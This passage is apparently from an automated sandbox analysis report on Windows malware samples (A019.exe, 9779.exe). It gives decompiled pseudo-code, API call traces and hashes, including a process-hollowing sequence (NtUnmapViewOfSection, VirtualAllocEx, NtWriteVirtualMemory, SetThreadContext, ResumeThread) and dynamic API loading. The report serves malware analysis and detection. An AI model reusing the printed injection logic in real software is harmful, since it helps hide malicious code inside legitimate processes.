					if(E00401F34(_t26, _t34,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L8:
						_t39 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						E0040193B(_t25, _t39,  *((intOrPtr*)(_t28 - 4)), _t18, _t23,  *((intOrPtr*)(_t21 + 0x8336)));
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t39);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t36 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t36, __fp0);
							_t37 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t37, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c12
0x00402c12
0x00402c12
0x00402c12
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000010.00000002.436617124.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_9460.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 591edc4c612f48173f805103314d01a2d3c18d9f074296c9ecf59b10e61bd19b
Instruction ID: 69eb8ccb3173368d7466cfbebad6b250e745b2528687b1428edbefbc5d99c229
Opcode Fuzzy Hash: 591edc4c612f48173f805103314d01a2d3c18d9f074296c9ecf59b10e61bd19b
Instruction Fuzzy Hash: 5001DE20518105FAFF01A6528F5A97E75699F01348F24007BAD42B52E2DBBD8F16AA2F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C16, Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E00402C16(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				signed int _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t33 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t33,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L6:
						_t38 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						E0040193B(_t25, _t38,  *((intOrPtr*)(_t28 - 4)), _t18, _t23,  *((intOrPtr*)(_t21 + 0x8336)));
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t38);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t35 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t35, __fp0);
							_t36 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t36, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L6;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c16
0x00402c16
0x00402c16
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000010.00000002.436617124.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_9460.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8375172ab2dc3a157800504cc046cabc4f04a32f5874d07e2e57d920b258b3e
Instruction ID: 22f91f3ad527b43ded7c43fe05e3e31a54a2160e6f7bd47ea20a36d237ffec38
Opcode Fuzzy Hash: b8375172ab2dc3a157800504cc046cabc4f04a32f5874d07e2e57d920b258b3e
Instruction Fuzzy Hash: 4401CC20518105F9FF01B7628F1A9BE75699F00348F24007BBC41B52E6DBBD8F15AA2E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040DF48, Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040DF6E

Part of subcall function 0040DD93: __fltout2.LIBCMT ref: 0040DDBF

__cftog_l.LIBCMT ref: 0040DF94
__cftoe_l.LIBCMT ref: 0040DFC6

Memory Dump Source

Source File: 00000010.00000002.436631579.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_9460.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 371dcc409b8a9c37bc45af426a8add198d970d59fd773847fc00fd30e5f9ded3
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 7B11803280014EBBCF125EC4CC41CEE3F22BF19354B198426FA1968171C23AC9B5AB85

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: A019.exe PID: 3340 Parent PID: 3352 A019.exeCOMMON

Execution Graph

Execution Coverage:	20.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	26
Total number of Limit Nodes:	7

Executed Functions

Function 006C0110, Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 006C0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 006C016C
CreateProcessA.KERNELBASE(?,00000000), ref: 006C0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 006C0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 006C0283
GetThreadContext.KERNELBASE(00000000,?), ref: 006C029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 006C02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 006C02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 006C0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 006C032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 006C0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 006C03BF
SetThreadContext.KERNELBASE(00000000,?), ref: 006C03E1
ResumeThread.KERNELBASE(00000000), ref: 006C03ED
ExitProcess.KERNEL32(00000000), ref: 006C0412

Memory Dump Source

Source File: 00000011.00000002.397301514.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6c0000_A019.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: a14ccd4841dfe8803f047273e6adef8a6279592b212afe90572bb25d8dc8e314
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 5CB1B574A00209EFDB44CF98C895FAEBBB5FF88314F248158E509AB391D771AE41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 006C0420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 006C0533

Strings

mfoaskdfnoa, xrefs: 006C0520, 006C0523
0, xrefs: 006C0492
saodkfnosa9uin, xrefs: 006C04DA
d, xrefs: 006C0584

Memory Dump Source

Source File: 00000011.00000002.397301514.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6c0000_A019.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 5ff66ccdc6db6026068f5b8fc88c185f53efbca089b700bc103fcc82fe20c2cc
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: B9510970D08388DBEB11CBD8C949BEDBFB6AF11708F24405CD5446F286C3BA5659CB66

Uniqueness

Uniqueness Score: -1.00%

Function 006C05B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 006C05EC

Strings

apfHQ, xrefs: 006C05E2, 006C05E5
o, xrefs: 006C0600

Memory Dump Source

Source File: 00000011.00000002.397301514.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6c0000_A019.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 5f91b1b0c98e61368fbb553181cdfcc738d1fa4adcbbcf7722eb15512e4f1d9b
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 0B011E70C0424CEAEB14DF98C5187EEBFB5AF41308F14809DC4092B342D7769B59CBA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: A019.exe PID: 5000 Parent PID: 3340 A019.exeCOMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000014.00000002.407041470.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_A019.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000014.00000002.407041470.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_A019.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000014.00000002.407041470.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_A019.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Function 004027ED, Relevance: 1.5, APIs: 1, Instructions: 49
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E004027ED(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				struct _OBJDIR_INFORMATION _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t9;
				long _t12;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;
				void* _t21;
				void* _t23;
				UNICODE_STRING* _t24;
				intOrPtr* _t25;
				intOrPtr* _t26;

				_t9 = 0x2824;
				_t18 =  *_t25;
				_t26 = _t25 + 4;
				E004012AB(_t9, _t16, _t18, _t20, _t21, _t23, __eflags);
				_t17 = _a4;
				_t24 =  &_v16;
				 *((intOrPtr*)(_a4 + 0xc))(_t24, _a8, 0x53);
				_t22 =  &_v8;
				_t12 = LdrLoadDll(0, 0, _t24,  &_v8);
				_t29 = _t12;
				if(_t12 != 0) {
					_v8 = 0;
				}
				_push(0x53);
				_t19 =  *_t26;
				E004012AB(0x2824, _t17, _t19, _t20, _t22, _t24, _t29);
				return _v8;
			}

0x00402800
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000014.00000001.394751044.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_1_400000_A019.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 7b811dfe18a2fa04bac5265394d9a2456aa6afd5894524daffa0ad136d012fbe
Instruction ID: 86d1809ebd5855410281f38b9c9c6c09a144d2210cd9b7f1e60e22e0793f0f49
Opcode Fuzzy Hash: 7b811dfe18a2fa04bac5265394d9a2456aa6afd5894524daffa0ad136d012fbe
Instruction Fuzzy Hash: CD01D43BA08105E7D6007A818A4DF6A7724EB50744F20C137A6077A1C0C5FC9A07E7BB

Uniqueness

Uniqueness Score: -1.00%

Function 0040280A, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040280A(intOrPtr __ebx, HMODULE* __edi, UNICODE_STRING* __esi, void* __eflags) {
				void* __ebp;
				void* _t12;
				long _t15;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;
				UNICODE_STRING* _t23;
				void* _t25;
				intOrPtr* _t26;

				_t29 = __eflags;
				_t23 = __esi;
				_t21 = __edi;
				_t16 = __ebx;
				if(__eflags < 0) {
					if(__eflags >= 0) {
						__ecx = __ecx + 1;
						__eflags = __bl;
						_t12 = 0x2824;
					} else {
					}
					_t19 =  *_t26;
					_t26 = _t26 + 4;
					E004012AB(_t12, _t16, _t19, _t20, _t21, _t23, _t29);
					_t16 =  *((intOrPtr*)(_t25 + 8));
					_t23 = _t25 - 0xc;
					 *((intOrPtr*)( *((intOrPtr*)(_t25 + 8)) + 0xc))(_t23,  *((intOrPtr*)(_t25 + 0xc)), 0x53);
					_t21 = _t25 - 4;
					_t15 = LdrLoadDll(0, 0, _t23, _t25 - 4);
					_t30 = _t15;
					if(_t15 != 0) {
						 *(_t25 - 4) = 0;
					}
				}
				_push(0x53);
				_t18 =  *_t26;
				E004012AB(0x2824, _t16, _t18, _t20, _t21, _t23, _t30);
				return  *(_t25 - 4);
			}

0x0040280a
0x0040280a
0x0040280a
0x0040280a
0x0040280b
0x0040280d
0x00402803
0x00402804
0x00402800
0x0040280f
0x0040280f
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402848
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000014.00000001.394751044.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_1_400000_A019.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 816e61236cf151029f9916b06356fa28e65bf4d83d8dd38ba6b14be9c999f240
Instruction ID: 9ca859c839910d9830ac79efeaa13c409ccf86f2f3a4ee59ee812277144ea7f3
Opcode Fuzzy Hash: 816e61236cf151029f9916b06356fa28e65bf4d83d8dd38ba6b14be9c999f240
Instruction Fuzzy Hash: B901843BA04105E7DA00BA819A4DBAE7764AB50704F10C57BE6077A1C5C6FC9607A76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040281A, Relevance: 1.5, APIs: 1, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040281A(void* __eax, void* __ebx, void* __edi, void* __esi) {
				long _t12;
				intOrPtr _t19;
				intOrPtr _t20;
				void* _t21;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;
				intOrPtr* _t31;
				void* _t34;

				_t34 = __eax - 0x90;
				_t19 =  *_t30;
				_t31 = _t30 + 4;
				E004012AB(__eax, __ebx, _t19, _t21, __edi, __esi, _t34);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), 0x53);
				_t23 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t35 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_push(0x53);
				_t20 =  *_t31;
				E004012AB(0x2824, _t17, _t20, _t21, _t23, _t26, _t35);
				return  *(_t28 - 4);
			}

0x0040281a
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000014.00000001.394751044.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_1_400000_A019.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: ef76625e9fce4a99ac1b5c6db449950ac3397aa5a53fee84dab980023b8c3a58
Instruction ID: 04be1964ae6a2c4a8d34668d02d656748d1177ed5934df91e255a91300bf99b4
Opcode Fuzzy Hash: ef76625e9fce4a99ac1b5c6db449950ac3397aa5a53fee84dab980023b8c3a58
Instruction Fuzzy Hash: 58F0A43AA04105D7DB00BA81CA49B9D7720AB51704F10C57BE6067A1C4C6B99707E76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040281E, Relevance: 1.5, APIs: 1, Instructions: 33
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040281E(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				void* __edi;
				void* _t9;
				long _t12;
				intOrPtr _t20;
				void* _t21;
				void* _t22;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;

				E004012AB(_t9, __ebx, __ecx, _t21, _t22, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), _t22);
				_t23 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t34 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_push(0x53);
				_t20 =  *_t30;
				E004012AB(0x2824, _t17, _t20, _t21, _t23, _t26, _t34);
				return  *(_t28 - 4);
			}

0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000014.00000001.394751044.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_1_400000_A019.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 65736493afcaf5b803b8217f4f0e2bcb43a663e8f28fff33dac9f311f6d1fd4a
Instruction ID: 3fd11184bcf92e870777245e351188805b8424fcd9c3dcde69815370b47807fd
Opcode Fuzzy Hash: 65736493afcaf5b803b8217f4f0e2bcb43a663e8f28fff33dac9f311f6d1fd4a
Instruction Fuzzy Hash: 9DF0303AA04105E7DB00BA91CA89B9E7770EB51714F10C16BE6067A1C4C6B89707E76B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 9779.exe PID: 2228 Parent PID: 3352 9779.exeCOMMON

Executed Functions

Function 0040C2E0, Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 109
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040C2E0() {
				_Unknown_base(*)()* _t2;
				struct HINSTANCE__* _t3;
				_Unknown_base(*)()* _t4;
				CHAR* _t5;
				intOrPtr _t6;
				struct HINSTANCE__* _t8;
				CHAR* _t11;
				struct HINSTANCE__* _t13;
				CHAR* _t16;
				struct HINSTANCE__* _t18;
				CHAR* _t21;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t26;
				CHAR* _t28;
				struct HINSTANCE__* _t29;
				struct HINSTANCE__* _t30;
				CHAR* _t31;
				struct HINSTANCE__* _t32;
				CHAR* _t33;
				struct HINSTANCE__* _t34;
				CHAR* _t35;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				CHAR* _t38;
				CHAR* _t39;
				intOrPtr _t40;
				struct HINSTANCE__* _t41;
				CHAR* _t42;
				struct HINSTANCE__* _t43;
				CHAR* _t44;
				struct HINSTANCE__* _t45;
				CHAR* _t46;
				struct HINSTANCE__* _t47;

				if( *0x41aa64 != 0) {
					_t6 =  *0x41a1f0; // 0x887398
					_t30 =  *0x41aa64; // 0x74df0000
					 *0x41aa14 = E0040C1B0(_t30, _t6);
					_t40 =  *0x41a474; // 0x8991a8
					_t8 =  *0x41aa64; // 0x74df0000
					 *0x41a970 = E0040C1B0(_t8, _t40);
					_t31 =  *0x41a718; // 0x899190
					_t41 =  *0x41aa64; // 0x74df0000
					 *0x41aa8c = GetProcAddress(_t41, _t31);
					_t11 =  *0x41a33c; // 0x8843e8
					_t32 =  *0x41aa64; // 0x74df0000
					 *0x41a88c = GetProcAddress(_t32, _t11);
					_t42 =  *0x41a5bc; // 0x8858f0
					_t13 =  *0x41aa64; // 0x74df0000
					 *0x41aa68 = GetProcAddress(_t13, _t42);
					_t33 =  *0x41a4b0; // 0x899160
					_t43 =  *0x41aa64; // 0x74df0000
					 *0x41a9cc = GetProcAddress(_t43, _t33);
					_t16 =  *0x41a4c8; // 0x8992e0
					_t34 =  *0x41aa64; // 0x74df0000
					 *0x41a9e4 = GetProcAddress(_t34, _t16);
					_t44 =  *0x41a7d4; // 0x899040
					_t18 =  *0x41aa64; // 0x74df0000
					 *0x41a984 = GetProcAddress(_t18, _t44);
					_t35 =  *0x41a324; // 0x899058
					_t45 =  *0x41aa64; // 0x74df0000
					 *0x41aa04 = GetProcAddress(_t45, _t35);
					_t21 =  *0x41a6f0; // 0x899130
					_t36 =  *0x41aa64; // 0x74df0000
					 *0x41aa78 = GetProcAddress(_t36, _t21);
					_t46 =  *0x41a7b0; // 0x885670
					_t23 =  *0x41aa64; // 0x74df0000
					 *0x41a9f4 = GetProcAddress(_t23, _t46);
					_t37 =  *0x41a218; // 0x885590
					_t47 =  *0x41aa64; // 0x74df0000
					 *0x41aaa0 = GetProcAddress(_t47, _t37);
					_t26 =  *0x41aa64; // 0x74df0000
					 *0x41aa50 = GetProcAddress(_t26, "VirtualAllocExNuma");
				}
				_t28 =  *0x41a0f8; // 0x899238
				 *0x41a854 = LoadLibraryA(_t28);
				_t38 =  *0x41a658; // 0x899148
